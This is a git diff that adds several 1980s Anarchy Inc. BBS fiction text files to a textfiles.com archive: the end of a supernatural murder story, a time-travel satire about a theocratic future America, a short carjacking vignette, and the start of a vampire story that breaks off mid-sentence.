ouch!" yelled Daredevil. A large man, who looked like Conan the +Barbarian that probably had the brains of the same, picked up Daredevil and +threw him off camera. The reported managed a smile, and continued. "Where's +Moon Roach when you need 'im." muttered Daredevil, picking himself up. +Policemen swarmed around him. + + "Stay off camera." said one. + + "Yeah." said another. + + "C'mon, buddy, give 'er a break." said the third. + + "...why. This is Jude Merdith for the KLEZ. Back to you, Walter." She paused +for but a moment, smiling, then any aura of innocence that might have existed +around her was shattered by the words:"That's a wrap, bub. Cut the part with +the guy in the red suit out. Sheesh.." she said, as she lit a cigarette. + + The Paladin, Senator Bunker, A Modem User, and Lord Omega stood there, +as KLEZ packed up, and drove off. Policemen still were everywhere, and from +a helicopter above, the area might have looked like little blue ants running +around. Lord Omega sighed. The Paladin growled. + + "Damn reporters." said Daredevil, as he dusted himself off. He had gone +through the questions, the reporters, the policework, the statements, the +rubberneckers, the idiots, the fools, the people with ideas, the witnesses, and +all the bullshit. It's the usual, said one officer, when somebody kills another +person, and then kills themself. Of course, nobody in Anarchy inc. would +believe this. There's a lot of paperwork, said the other cop, to fill out for a +murder/suicide. + + It was 7:00 pm. The next day. It had just begun to rain, and threatening +grey clouds sat overhead. They moved, thunder could be heard, but that was +about it. Then, about 6:45, it began to rain. First, in small drops that leave +little marks on the window, then heavily. The sort of day that you wouldn't +send a dog out on. + + Princess Leia sat happily in the sanitarium. Belleview was a nice place, with +all the happy people, and the happy walls, and the happy + + "As you can see," began the doctor, "vee have a very very interesting case +vith this...Leia girl. She insists upon being dot character from dot movie, +Star Warps, or votever you people coll it." The doctor's speaking habits were +horrible, thought The Watcher. "It's a vunny thin, ya'know. She been muttering +deeze things about murders, but, you know, nobody would listen to the poor kid. +So, I listened. She said they'd die. Da poor kid was right, eh?" He paused for +dramatic effect. The Watcher was interested. + + "Could I talk to her?" asked Watcher. The doctor thought, then let the +watcher enter. Leia looked up. + + "Hello." she said. + + "Hello." he said. + + Daredevil sat in the over-sized station wagon with Lord Omega. Some odd group +was playing on some odd radio station, and it was a happy song, not something +either of them wanted to hear. "I don't know about her being psychic." Lord +Omega said. Daredevil appeared not to listen. Lord Omega continued. "It's bad +enough we have to pay for her...uhm...extended stay here. But...How could she +see this coming?" + + Daredevil twitched his lip. "I don't know." he said. "The Watcher will take +care of this one." He looked at the building. It was large, but surrounded by +those huge gates. Steel spikes? thought Daredevil. Isn't + + (So sharp.) + + that a bit...much...he heard the whisper. Lord Omega switched the radio off. + + "My engine is making odd noises." he said. Daredevil pointed out that + + (Oh so sharp.) + + the engine was off. Lord Omega gave him a sheepish look. "Uhm..." + + (Yesssssss...) + + "Sorry about that...I...then what's that sound? My tires?" + + "I don't--" + + (Boom!) + + "-- know. I heard it that time. It said Boog." + + "No, it said Boom. I heard it." + + "I could have sworn it said Boog." + + (Boom. Heh. Boom.) + + "I don't like this." + + With that, Belleview Mental Asylum exploded in flames. It rocked the wagon. +It cracked the windshield. It scared both occupants in the car out of their +wits. Daredevil struggled with the door, to help stop the-- + + (You can't stop it.) + + fire. "They can-can-can't be..." + + (They are.) + + "Stop it." said Daredevil. He felt his sanity going down the drain. Lord +Omega stared straight ahead, wishing for a peaceful scene. + + (Nothing you can do.) + + "Who are you?" demanded Daredevil. His voice sounded weak, old, and had a +tinge of being dememted in it. This had not been good. Nothing. + + "Who are you?" he said again. He said "you" under his breath. Lord Omega +again said nothing. Fire engines, shouts, and screams could be heard in the +background. But all that did not matter. Only the voice did. + +"Who?" he said. Quickly, this time. + +Nothing. + + Daredevil breathed quickly now. Panic set in. "WHO!!?" he yelled. Lord +Omega jumped. + + "I am. You are. We. Us." said the voice. It was whispering, surrounding +him like Dolby stereo does, with a good selection meant for stereo. The radio +went dead, and Tom Petty's voice died off the air. "We. You. Pain. Blood. +You caused." continued the whisper. It picked up, and spit out each word, care- +fully. "I am he who you have hurt." it finally said. + +"Why?" demanded Daredevil. + + "It is." said the voice. The coldness that existed in the car was gone, and +so was the voice. The whisper. It is gone. They knew it was gone, and that +short conversation would haunt them for the rest of their lives. + + + ============================= + Murder at 300 Baud... part 2? + ============================= + + It soared high above the sky. It went out of the atmosphere, and beyond the +stars, overlooking the Earth. The Earth turned, and went on it's way through +the cosmos, with this being watching. It laughed. "I. He. Next. We. +Together." It bellowed laughter, laughing at this small green mudball. The +being soared, if it was truly doing just that, and became one with Earth again. + + The Daredevil was dead. He died late that night, in his home. Like the +others, it was quick. The police were very interested in this, being that +Anarchy inc. members were beginning to become rare, and people were very +interested in this sort of thing. The Star newspaper said that Anarchy inc. +was a cow-worshipping cult. National Enquirer made them out to be an odd, +third-world commune. Of course, none of this was true, but the general public +was inclined to believe this sort of thing. But, the facts were straight, +Daredevil was very dead. + + "What?" said Dark Shadow. "What?" He stood there, in the offices located down +in Southern Brazil. "What?" he repeated again. "gaaaa." he said. A Modem User +took note of this "gaaaa.", because Dark Shadow was not the type of person to +say "gaaa.". This "gaaa." must have some sort of signifigance. + + "Hey, Shadow..." he said, while shooting a rubber band across the room in an +act of laziness, "...what's going down?" Dark Shadow repeated the words: +"gaaa.", then turned to look at User. User became slightly nervous. This week +had not been a good one. + + "Friend User," began Dark Shadow, "Another one has met his fate." User looked +pale. "Daredevil is gone. He passed away late at night, with no real reason. +He...didn't...look...dead." User looked even more pale. (But who's going to +make sure Eric doesn't steal my popsicles?) + + "Anarchy inc. is a very odd group." said Jude. "I've been doing a series of +reports on the whole thing, and they're very...well...odd." she finished, +turning to the camera, and giving a smile. Ted Kopple looked out, gave a weak +smile, and raised one eyebrow. + + "What exactly is the purpose of this group, Jude?" he asked. Jude shifted her +weight. + + "They...write." she said. + + "Write?" + + "Yes..Electronic media. Mostly fictional work, but nothing more. They have +this nasty habit of going out and causing distruction while getting research. +Why, once in K-Mart, a member did horrible things to a cashier, the poor girl is +still suffering from third degree --" + + "Thank you, Jude." said Ted Kopple. "Now, for a commerical pause." + + -fizz-click. The television set turned off. "If there's one thing I can't +stand, it's that stupid commericial with those talking cockroaches.." said Moon +Roach. He belched, and took hold of another bottle of some odd liquid. At that +moment, a small character ran into the room...Bill the Cat. Moon Roach grunted, +noting his presence. + + "i've been sitting by the television set for HOURS," began Bill. "i FINALLY +got that neat commericial about talking cockroaches on video tape!" he said +proudly. "WANNA WATCH it?" he asked. Moon Roach dismissed him with a wave of +his hand. + + "Go eat some poison ivy." he said. Bill ran into the other room, in +fear that Moon Roach would try to carve his initials into his forehead again. +As he stood up, a telegram slipped from the chair, and gently floated to the +floor. Odd. He picked it up and read it. + + MOON ROACH. STOP. FLAGG'S/ALEX/WATCHER IS DEAD. STOP. COME HELP US IN NEW +YORK AND GIVE US SOME HELP. STOP. THIS IS TOO WEIRD. STOP. THANKS. STOP. + + The note was signed, "-S. Bunker". Moon Roach stood up atop his chair, and +dashed out the front door to somehow get to upstate New York. Now, where was +his bus pass? + + Bill the Cat wandered into the room. He was about to say something else about +talking toilets on television, but he noticed that Moon Roach was not present. +The telegram lay at his feet. He read it. "DEAD?" he thought. (Did you not +what this?) + + Bill gasped. The coldness, the darkness, the utter blackness reached out to +him. Goose bumps ran all over his body, and he felt the hairs on the back of +his neck stand up. He could not run. He could not hide. This was fear. His +pulse quickened, and all thoughts about talking cockroaches were dismissed from +his mind. "Ahhh --" he began. + +(So cold.) + +(So cold.) + +(I. You.) + + (We. Us. Together.) Dark laughter could be heard. Bill tried to run, but +his body had other plans for him. Instead, he fainted dead away. + +(Who. Is. Master. Who. Is. Servant. Here.) The shadows faded back, to where- +ever they originated from. + + "It's not Chaotic Computing." said User. "It's not ***0LYMPIA*** either." + + "Get real, dude." said The Paladin. "0LYMPIA doesn't have the brains for this +sort of thing..Really." he replied with mock disgust. He wished jokes could be +funny again. + + "I just...don't know." said User, finally. He threw a dart, and hit the +window pane, making a good-sized crack in it. He muttered something under his +breath. Lord Omega entered. + + "Brazil ain't bad..." began Omega. "...no Ice Cream trucks to drive me +bonkers." The phone rank, and Omega hit the end of it, causing the phone to spin +up in the air. User reached out, and caught it before it hit the floor. + + "Hello." said an operator. "Will you accept a collect call from BtC?" she +asked, with complete perfection. User smiled. It was the first time he had +smiled the whole day. + + "Yes." said User. He hated when BtC had to collect call him. + + "U...User...I..Dark.." mumbled the voice on the other line. User quickly +became discusted, and hung up. + +(Click.) + + "THAT'S THE VOICE!" yelled Omega. Paladin cocked his head. + + "What + +(Ha-Ha.) + + voice?" replied Paladin. Was Lord Omega going mad? + "That damn voice!" said Omega. + +(You're next. You're next.) + + "Who is fucking next!?" yelled Omega. User jumped behind a desk. Neither +Paladin or User knew what was going on. Omega stumbled forward, and fell +quickly forward. A bruise formed on his face. User noticed this. + +(Smack you down.) + + A welt appeared on Omega's side. He tried a kick into the air, but only +succeeded knocking the pencil sharpener off the wall. Blood exploded from his +nose. The phone rang. + + "Fucking phone." said User. Paladin jumped forward, to try and stop Omega's +unseen attacker. + + "Will you accept a col--" began a voice. User shouted every imaginable curse +into the phone, and the operator, being the sort of person to be offended by +profanity for no reason, hung up. There was a crash, and Lord Omega quickly +fell from the second story window. The Paladin could not stop the blow that +landed, knocking Omega into the window, shattering it into millions of pieces. +All that accompanied Omega's fall was a loud SNAP, then a dull thud. The +coldness that was in the room was gone. + + "WHAT'S GOING ON!?" yelled User. + + "WHAT'S going on!!!" yelled Bill the Cat. "Why?" he asked, to nobody in +particular. + +(I. We. Us. Together. Blood.) + + Bill the Cat finally screamed. + + + **BAMPH** The dark figure appeared in front of the cave. He pulled a soiled +map from his cape, and went over it carefully. "Let's see...North to South +Africa...Teleport...Then to that funny little town...No, that's a blot of +mustard. Ah...Here we are. India." He crumpled the map up, and tossed it +aside, entering the cave. It was dark. "Grues." he said. A small aura of +light formed around him, as he walked past the entrance to the cave, and into +the swelling darkness. The cave continued down, into the earth, and it became +muggy, and cold. Water dripped from the ceiling, and the floor was stone cold. +After turning a few corners, he reached his destination. + + "YAHHHHHHHHHHHH!" screamed Bill the Cat. He fell backwards, head-over a +chair, and hit the floor. "OOff." He looked slowly up, but nothing was to be +seen. The coldness in the room was gone. "Tele...teleph...phone...where.." +Bill the Cat scrambled over to the other end of the room, and picked the phone +up. "Collect call...yes...Brazil...Bill the Cat...Hurry...Please..." In Brazil, +the phone rang. + + "Who..." began A Modem User. + + "Will you accept a collect call from --" began the operator. + + User put the phone down, slowly. He seemed to be in shock. + + "...I just don't understand why he hung up..." began the operator. Bill the +Cat hung up. "Rude." snarled the operator, and she went on to help another +person making a call. Bill the Cat fainted. + + The cave was cold, and it was dark. The Dark Shadow feared no evil. Why +should he? He approached the smaller chamber, and walked in. A score of bats +flew overhead, fluttering here and there. Dark Shadow walked on, and around a +corner. A little, hair-less man with a towel around his head, sat cross-legged +at the end of the hallway. He looked up. + + "Shadow." he croaked. "Good to see you." + + Dark Shadow nodded. "Good day, sir. I have travelled far to see and ask +advice of you." The little man looked up at him. "Advice, I do need." Dark +Shadow left a somber tone in his voice for good effect. + + "Ah...Advice. I understand your problem. You face evil, do you not?" + + "We, my comrads face evil." replied Dark Shadow. + + "Ah...Evil. Great evil?" + + "Killing evil." he said quietly. + + "Ah..." the little man's face lit up. "...Many forms of killing evil. + + Many, yes, many. Unspeakable deaths, horrors faced by others, I see it all." + + "Who is causing this?" asked Dark Shadow. + + "Not who..." said the man. His brow knotted. "...what. It...was... +summoned, from the netherworld. Not here, nor there. Wait...This one is very +powerful...I...know." He began to breath deep. + + "...sir?" + + "Dark Shadow, beware. This one acts on revenge, the oldest emotion in the +world. The cruelest, at best." + + "What was done to anger this...beast?" + + "Injustice." + + "Injustice?" + + "Yes." said the little man. + + + Senator Bunker turned on the light. The small, blinking alarm clock showed +the time to be 3:04 am. It's little LEDs were hard at work, blinking the time +away, for no reason other than that they were programmed to do so. Senator +Bunker mused this thought for a moment, then walked on into the other room. The +Anarchy inc. offices were growing smaller, and...colder...he noticed. The back +room, that he slept in, was off to the side. Someone Else was sleeping around +here somewhere, but he had no idea who else was here. He yawned, and slowly +made his way to the phone. After one button was pressed, he connected with A +Modem User in Brazil. + + + "hello?" User said in a low tone. + + "User, this is Senator Bunker..." he began. + + "Omega's dead." said User. He said it in a flat sort of way. + + "WHAT!?" exclaimed Senator Bunker. Then, the line went dead. "Goddamn +telephone." muttered the good Senator, as he pressed REDIAL. The phone was +dead. "What the--" he began. He never finished his sentence. "You." he said +coldly. + + The darkness moved at him. Quickly, like ink moves about in a fish tank. He +was in control now, and he quickly threw the answering machine into the dark +that began to form around him. He never heard it hit the floor. All at once, +he was surrounded. He lashed out, but striking nothing. It was like a sea of +darkness, a world of darkness, a -- "I'm babbling. I'm in control." + +(So you are.) + + "Yes, I am." he said calmly. "You, on the other hand, are nothing." + + (Nothing.) + + "Yes, nothing. Explain to me, why?" + + (Why.) + + "Hmmmpth." retorted the Senator. "Tell me. Tell us." + + (Us. No. Him and I are us. Not you and I. You are you.) + + "I am he as you are he as you are we and we are all together." said Bunker. + + (You are dead.) + + ...and with that, he was. + + + The Paladin drew his sword. "Come on, you BASTARD! COME ON NOW!" he +screamed, as loud as his lungs would permit. User finally brought himself to +scramble over the table, and try to stop Paladin's outbursts. "NOW!!" + + "C'mon, Pal..." began User. + + "I..." stuttered The Paladin. He dropped his sword, and went to the window. +"Damn." he said. + + + + "What sort of injustice?" + + The little man looked at him. "I cannot...see...that." + + "What are we facing?" pressed Dark Shadow. + + The old man looked purplexed and very old at that question. He rose from a +sitting position, and looked heavenward. "Come. To. Me." said the man. +Coldness, that even touched Dark Shadow filled the cave. The little man +shivered. Winds rose, even deep in this underground fortress, blowing every- +thing from small twigs to rocks helter-skelter. "To. Me. I. Summon. Thee. +Oh. Thy. Is. Dark. And. Cruel." the little man bellowed. He tilted to his +side, and fell. The winds increased to a very violent blow. The walls rumbled. + + Teleporting in enclosed spaces...Not a good idea. Thought Dark Shadow, as he +began to run. The old man was older than he was, and he could take quite good +care of himself. Bats flew everywhere, with the rumbling and the heavy winds +upsetting their sonar. He ran through the smaller caves, as he realised with +mixed horror and interest, that the coldness was even getting to him. The winds +increased, almost sending Dark Shadow off his feet. He saw the entrance. +Running quickly up to it, he prepared to teleport. But, his mind went blank +when he got outside. "Frotz!" he yelled, as his monumentum brought him nearly +head-over-heels down the hillside. It was very steep. He came to stop on a +ledge, and looked at the countryside. + + The trees were all dead. All of them. That is what first came to his mind. +What looked like a mountain was now in the center of this valley. Lava came +bubbling up slowly through the plates that it cracked, and the sun was no where +to be seen. All that hung in the sky was the moon. The clouds, were dark, +hanging over the whole valley. The mountains were no longer mountains, but it +seemed to him that they were...gates. + + (WELCOME.) + + "I need no welcome from you. I go where I please." snarled Dark Shadow. He +looked upward, at the mesa/mountain, and saw the creature, in all it's glory. + + (WELCOME.) Dark Shadow stood back, waiting...watching...waiting... + + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/advefutr.hum b/textfiles.com/groups/ANARCHYINC/advefutr.hum new file mode 100644 index 00000000..2cae7ac8 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/advefutr.hum @@ -0,0 +1,383 @@ + ------------ /-------------------------\ + Anarchy inc. ..and.. ! Another Fine Product of ! + ------------ ! Shadow Stories ! + \-------------------------/ + ...presents... + + ADVENTURE IN THE FUTURE + by: Dark Shadow + + + The members of Anarchy, Inc., were all sitting peaceably around a journalist +who had happened by to do an interview. "We don't know why you came here", +said Daredevil, "but we'd be happy to tell you about our group. Just tell us +when to stop." The journalist attempted to say something, but the gag stopped +his words quite effectively. He squirmed a little bit, but the ropes bound him +to the chair securely. + + Let's start with the various philosophical view points that we do or do not +hold, suggested Senator Bunker. + + Good idea, continued Daredevil. In the first place -- + + The journalist somehow managed to spit out his gag. His face took on a +malevolent expression as he yelled, Barbarian! + + No, an anarchist, countered Surf Rat. + + Same thing, said the journalist. He squirmed a bit, but he could see that he +was in for an extended visit. If you're going to force the history of your +group on me, at least tell me about the kidnapping of Modem User and Ruby +Tuesday. + + We all looked at each other. We didn't like to recall that particular event; +it held too many strong memories. The journalist smiled; he knew that he had us +in a tight spot. + + It has to be told, said Misfit. + + We agreed, and proceeded to reveal the fantastic story... + + + + Well, said Ruby, I was sitting in this very room, feeling particularly bored, +when Modem User came in through the door. He gave me a black box about the size +of a large printer, and said 'Look what I found!' + + Modem User interjected, I had found it in a cereal box. He thought for a +second, and then added, Economy size, of course. + + Anyway, said Ruby Tuesday, with nothing else to do, I tried to figure out what +it was. It had an LED counter on it, a few dials, and a few buttons. I started +twisting dials and pushing buttons. + + I didn't stop her, mentioned Modem User. The cereal box said that it was +supposed to be a 'genuine replica of the space shuttle.' It didn't occur to me +that the box was more aerodynamic than the space shuttle. + + So I pressed the button, continued Ruby, and we -clicked-. + + + + Anyway, said Daredevil, I came into the room to wait for the pizza we had +ordered, and I saw a strange blue glow around Ruby and Modem User. Suddenly, +they vanished... which frightened me, I can tell you. Modem User owed me +money. + + At this time, Dark Shadow, Moon Roach, and Alex came in, followed by Senator +Bunker, who was carrying the pizza. + + + + When we came in, Alex clarified, there was a shocked look on Daredevil's +face... the look was so strong, so compelling, that I wrote a small text file +about it. Let me see, here... Alex rummaged through some papers on the desk, +and triumphantly came up with some sheets of paper, which Chaos held up to the +journalist. The journalist read : + + It was the eye of the storm, the day before night, when we entered the room, +bearing Domino's pizza (which represents, by the way, watercolors on cardboard). + + We saw Daredevil, and we realized at once that no common event had just +transpired. His composure was that of a shocked and startled person, one who +has just logged onto the Zone on the first try, one who has just seen his +transmission doing a running hop onto the freeway, one who has just seen his TV +simulate an atomic explosion. + + What's wrong? Moon Roach had asked, his antennae bobbing. + + Ruby Tuesday and... User just vanished, said Daredevil. + + Vanished!? + + Yes! said Daredevil, apparently recovering quickly. They just vanished... +and they were last playing with this box. So what do we do? + + Eat the pizza? suggested Moon Roach. + + No! What's our motto? + + There was silence for a few seconds, while we wondered who would take the +bait. I bravely took the first step, and said, This week? Err... 'the check +is in the mail.' + + No! Our general motto. + + Oh, I said, breathing a sigh of relief. 'We take care of our own.' + + Got it. So we need to recover Ruby Tuesday and Modem User. Some minor damage +to government wouldn't hurt, either. Hmmm... we need to figure out what this +box does. + + Our group, representing a massive conglomeration of technical know-how and +experience, proceeded to study the box intensively. + + + + The journalist had finished reading the paper. + + That's all I wrote, said Alex. I had to do the 'Mission' series afterwards. +For reasons that will become apparent later. + + Producing a rather large number of pages from his cloak, Dark Shadow said, But +I wrote up the rest of the adventure. Turning the pages for the journalist, the +journalist continued to read about Anarchy's adventures... + + + + The box turned out to be something quite strange. Comprised of alien +materials, having circuits almost as contorted as Alex's code, it was an +intellectual puzzle beyond compare. Lord Omega, Surf Rat, Misfit, and Havoc +Chaos showed up, and added their not inconsiderable talents to the foray. + + Finally, slowly, painfully, we began to understand the box... we still +haven't had success with Alex's code. Our group came to the realization that it +was a time machine... and it was set for 2050 A.D. + + Damn, we collectively sweared. + + 'We take care of our own.' Daredevil reminded us, and he pressed the button. +We -clicked-. + + + + The journalist interrupted our perusal of Dark Shadow's text, and asked for a +drink of water. He said, But what happened while you were figuring out the box? + + Ruby narrated, Well, we -clicked-, and when we appeared, we didn't know where +we were. Looking around, I could see that the buildings were domes, and they +appeared to be like something out of 'Buck Rogers.' What even impressed me more +was the fact that there was no graffiti on the walls. + + We started to walk down the street, and we saw a policeman on the corner. He +dressed rather strangely - not what you'd think as futuristic garments - but +that didn't stop us. We walked up to the policeman, and asked where we were. + + He looked at us for a second, and said, 'You are under arrest, by the holy +grace of God.' + + 'Why?' I cried. 'I have done nothing.' + + The policeman held out a weapon, and turned it on. A strange field enveloped +us, and we could not move. 'You are charged with indecent exposure - your skirt +is disgraceful - immorality, failure to wear a veil, not going to church at the +requisite hours, and speaking to a male without his approval.' + + A police van pulled up, and we were taken to a jail. + + After Ruby's amazing accounting of the events, the journalist returned to Dark +Shadow's text. + + + + We -clicked- in a strange world. The buildings appeared to be of advanced +manufacture... the roads were clean, and there was no graffiti on the walls. +Clearly a strange culture. + + Moon Roach, said Daredevil. + + Moon Roach nodded, and his antennae began to rotate in a circle as a look of +concentration appeared on his face. Suddenly, he started walking down the +street, still in his trance. + + We followed him, wondering where the people were, when Moon Roach suddenly +stopped, and pointed at a certain building. We looked at each other, and went +inside. + + + + The journalist's attention was distracted by Ruby, who continued with her end +of the story. + + Anyway, at that time, we were taken to a strange room. Crosses were on all of +the rooms... we were kept in the field, and we could only move our mouths and +eyes. + + It was darned annoying, mentioned User. + + So this person comes in, and he's dressed like than the pope, except more +extravagantly. He raised a hand, covered with diamonds, fixed his toupee, and +pointed at us. 'Are ye the sinners?' he asked. + + 'We didn't do anything wrong,' I tried to explain, 'but --' + + 'Stop!' he cried. 'Though you are guilty - after all, you were arrested by a +righteous one - you will be given a fair inquisition.' He called in a +transcriber and two more inquisitors. + + 'User,' I said out of the side of my mouth, 'we need to delay this, so Anarchy +can rescue us.' + + User nodded slightly. + + 'Now,' continued one of the other inquisitors, 'why are you here?' + + The Chief Inquisitor frowned, and fixed his toupee. 'How dare you,' he said +to the others, 'interrupt and profane my holy status? I am conducting this +conviction, and you should not speak. Three thousand Hail Mary's.' + + The chastened inquisitor mumbled something, and fell silent. + + I saw, in a flash, that they were at each other's throats, so I waited for my +opportunity to wreak discord. It came soon after. + + The Chief Inquisitor shook his head, nearly dislodging his hair piece, and +appeared to think. 'Read me back her last line,' he said to the transcriber. + + 'Read me back her last line,' I said. + + 'Read me back her last line,' the transcriber said. + + 'Not my last line, you Mormon reject, half-brained idiot! Her last line!' + + 'But, holy one --' the transcriber tried to interrupt. + + 'The inquisitor beside you put you up to this, did he? It's the deep dungeon +for you, heathen. Read me back his last line.' + + 'Read me back his last line,' said User, picking up on the tactic. + + 'Read me back his last line,' said the transcriber. + + The resultant argument and feud satisfied User and I quite well, thank you... +Ruby smiled. With that, the journalist continued with Dark Shadow's +narrative... + + + + Once inside the building, I was able to feel the presence of Ruby and User. I +mentioned this to Daredevil. + + He nodded, and said, Okay, here's the plan. We storm in, grab Ruby and User, +wreak havoc (no offense, Chaos), and Dark Shadow will teleport us out. + + We agreed, and gathered outside the door. Smashing it down easily, we charged +in, gathered in a circle around Ruby and User. Daredevil yelled, Now, Dark +Shadow! I nodded, and we *BAMPHed*. + + The smoke cleared, and Anarchy collectively saw that we had collectively moved +to the left about a collective foot. Not again! I cried, as the guards +recovered and threw tangler fields onto us. I resolved to practice teleporting +under pressure when they carted us off to the jail. + + + We were in jail not thiry minutes when we were visited by the Chief +Inquisitor, who motioned to the guard. The tangler fields were taken off of our +heads, so we could speak. + + What is this place? Senator Bunker asked the Inquisitor. + + The Inquisitor smiled, and looked upwards briefly. This, my misguided son, is +the land of America, guided by the hand of the Moral Majority. + + None of us spoke. + + I see that you come from the past, one in which the Moral Majority was not as +strong as it is now. You see, our righteous forces gradually guided the +government, censored - er, re-educated the media, placed woman in their properly +subservient role, and enforced the edicts of the Church across the nation. + + Guided by the hand of God, enforcing our whims - er, divine regulations by +force of religion, and our extensive control of the media ensures our eventual +triumph across the world. We are secure. + + Argh! cried Senator Bunker. How dare you control the government! + + It is our fate, said the Inquisitor, slowly, smiling. We are a merciful +people, however. I see that you did not mean to break thirty-eight different +laws. Thus, we will not kill you, but instead make you slaves. He smiled +again. The formal inquisition is tomorrow. + + + We sat in the jail, despondent. Surf Rat decided to cheer us up with an +appraisal of the situation. Well, he said, we are trapped in tangler fields, +and can't move a muscle. On the plus side, we can talk. On the minus side, +America has been taken over by the Moral Majority, they have control of all the +communications, and even if we could escape, we don't know how to get back, and +they would catch us anyway. And my nose itches. + + We need to disable the entire country, said Daredevil. + + No problem, said Moon Roach. EMP. + + EMP? Lord Omega queried. + + Ya, said Moon . Electromagnetic pulse. Produced by nuclear weapons, among +other things. One good blast of EMP would short out every electronic device +around... and a country the size of America cannot be run without the +computers. + + I knew that I should have brought my atomic bomb along! cried Misfit. You +never know when you'll need it. + + Wait, said Daredevil. We need to deal with -- + + I stared at Daredevil. I knew what he was going to say, and I didn't like it. +One did not deal with such power lightly. + + -- the modem entity. + + I nodded. It was the only thing to do. Guiding Anarchy in a chant, I invoked +the entity to our aid, with rituals long since forgotten by humanity... + + + + *Bytes and bits, modems and thunder,* + *Shall our enemies be torn asunder?* + *The carrier tone whines, it will not fail* + *Oh, for more E-mail, for more E-mail* + + + There was a large, dark cloud of smoke. The Entity appeared, wearing a top +hat and evening clothes. He tipped his hat to Ruby, and said, Dark Shadow. + + Once again you invoke me. + + Oh, mighty Entity, I said, I fear that I do not have the sacrifice of a text +file ready. However, hear my plea - we need divine intervention. + + He raised an eyebrow. He smiled, and I could see that he had fangs. And what +do you require? + + Cripple the country, said Daredevil, short out communications, and disable +these fields... + + The Entity laughed evilly. Easily done. So, am I to do this for no fee? + + We scowled. We're a bit tied up right now, mentioned Surf Rat. + + I would enjoy doing the task. However, hear my price. Anarchy, Inc., must +sacrifice to me no less than ten text files. + + We sighed. Text files could be too much work. Okay, I said, realizing we had +no other choice, and that sacrifices had to be made. We find the terms +acceptable. Alex will write them. Alex didn't appear to be happy with that +facet of the bargain. + + The Entity nodded. He knew we had no choice. He said, It is done. + + The fields disengaged, the lights dimmed, and we were free. I said, This +time, I'll do it right! We *BAMPHed*. + + We appeared outside the building. Waving away the smoke, we started to run to +the north. + + Wait a minute! cried User. He stopped, and picked up a large cereal box. +Looking inside, he brought out a black box, similar to the one that had sent us +here. Inscribed on the side was Deus ex machina. + + User pressed the button. + + Anarchy sat reminiscing, recalling the events. Suddenly, the journalist cast +free his bonds, yelled I'm free! I'm free!, and jumped out the window. We +watched as he hit the ground and took off at a run. + + Dark Shadow said, Darn. I wanted to ask him how to end the story. + + Turning away from the window, Anarchy, Inc., turned to Alex. How many more +files? we asked politely. He just snarled... + + And now... + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/advrecru.hum b/textfiles.com/groups/ANARCHYINC/advrecru.hum new file mode 100644 index 00000000..5dd9c9a5 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/advrecru.hum @@ -0,0 +1,69 @@ +-------------- Jul 25, 1987 + Anarchy Inc. ..presents.. +-------------- + "Adventures in Reality: Don't Cruise Alone" + + fiction of Alexander of Atlantis + +============================================================================= + + Joe looked at me. + "Is your mother home," he asked. + "Believe it or not," I told him, "she is." + We looked at each other. + +============================================================================= + + VRRRROOOOMMM. Picture scretching tires as we burn out of the garage in +my mother's 280-ZX. Joe and I don't fool around. We're outa there in seconds. + We drive around a while, I'm enjoying the views of night and the lights as +we cruise up and down El Camino. All in all it is a pretty uneventful, though +fun evening. + +============================================================================= + + The next evening Joe drives his grandparent's Targa. Its a family-type +car, but its quite stylish. Before we go out he tells he has to stop at the +bank. Leaving the keys in the car and the motor/radio running, me groovin +in the shotgun seat, I see a man, looking just a little suspicious, walk up +on the driver side of the car, toward Joe's open window. Joe is still in the +bank. I reach over and place my left hand above the horn on the steering +wheel, and my right hand right over the keys and ignition. As I expected, +for some odd reason, the man walks right up to Joes window, and sticks a gun +through the window with his left hand, while reaching for the door handle with +his right. The doors, I have conveniently locked when Joe walked away, just +out of habit, and because I like playing with the auto-buttons on the passenger +door. + The guy sticks his head in the window. + "Don't move," he whispers, trying the door, and realizing its locked. + "Lets play a little game," I tell him, actually startling him that I would +talk back. "One of my hands is resting on the horn, and the other is resting +on the keys in the ignition. How much you want to bet that even if you shoot +me, I can hold my hand on this horn long enough to get attention, while my +other one pulls the keys out, making the car a little harder to drive away +with?" I pause. He hasn't moved yet. + "Oh? A little worried now, eh? Common, let's PLAY." I tell him. He +stops, looks in the area of the bank, where I assume someone is coming out, +and then slowly puts his gun back, backing away. When he got into the shadows, +he ran off. Just then, Joe came out. + "What the hell is going on? Who was that," asks Joe, coming over to the +car. + "You wouldn't believe me if I told you," I tell him, slowly easing back +into my seat, sweating. "I think you just saved my life." + "Right," he says. "Sure I did." He tries the door. "Will you open up +this damn door.." He asks, already reaching over and unlocking the door from +the outside. + All of a sudden I reach up and take the keys out of the ignition, accident- +ally. + "What the hell did you do that for?" he whines, grabbing the keys from me, +and starting up the car again. + "Sorry," I tell him, "I guess reality just spooks me now and again." + +============================================================================== + +"Adventures in Reality: Don't Cruise Alone" by Alexander of Atlantis + + -------------- + Anarchy Inc. "Is it done yet, maw?" + -------------- + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/advrevam.hum b/textfiles.com/groups/ANARCHYINC/advrevam.hum new file mode 100644 index 00000000..b32da725 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/advrevam.hum @@ -0,0 +1,71 @@ +-------------- Jul 25, 1987 + Anarchy Inc. ..presents.. +-------------- + "Adventures in Reality: Vampires on my Street" + + fiction by Alexander of Atlantis + +============================================================================= + + I sat on the sidewalk, talking to Kathy. She's a nice gal, very well +built, but I really hang out with her because we talk a lot. I suppose +that sounds rather bland, considering all the guys that would die to be with +her, but I really don't have a need to ruin a perfectly good friendship so +as I can try and get some skin. What a pathetic pig I am. + Kathy and I sat talking, and from the left side, where our street curves +around, came a large van. From it strode my best friends, Dennis, Meegan, and +some other people behind him. I stood up to say hi, and Dennis was the first +to greet me. I looked into his eyes, and the pupils were extremely small. + "Hi Alex," he said, smiling. Two things struck me then. First was that +his voice sort of echoed omenously, and the second was the two big fangs +growing on his front incisors. Obviously, he had become a vampire, and all +the other vampires behind him were walking around, biting other people, +instantly turning them into vampires and making them part of their hoarde. + This was the funny part. This is what made me realize this was reality. +First off, Meegan was talking to Kathy about how they were going to have a +sacrifice tonight, and they came by to get my Rapier. See, I have this +Rapier hanging on the wall of my room, which has some weird inscriptions on +it. I was told by my great uncle who gave it to me, that it was a very +special rapier. Thats it, believe it or not. Thats all I remember him +telling me. + The other funny thing was 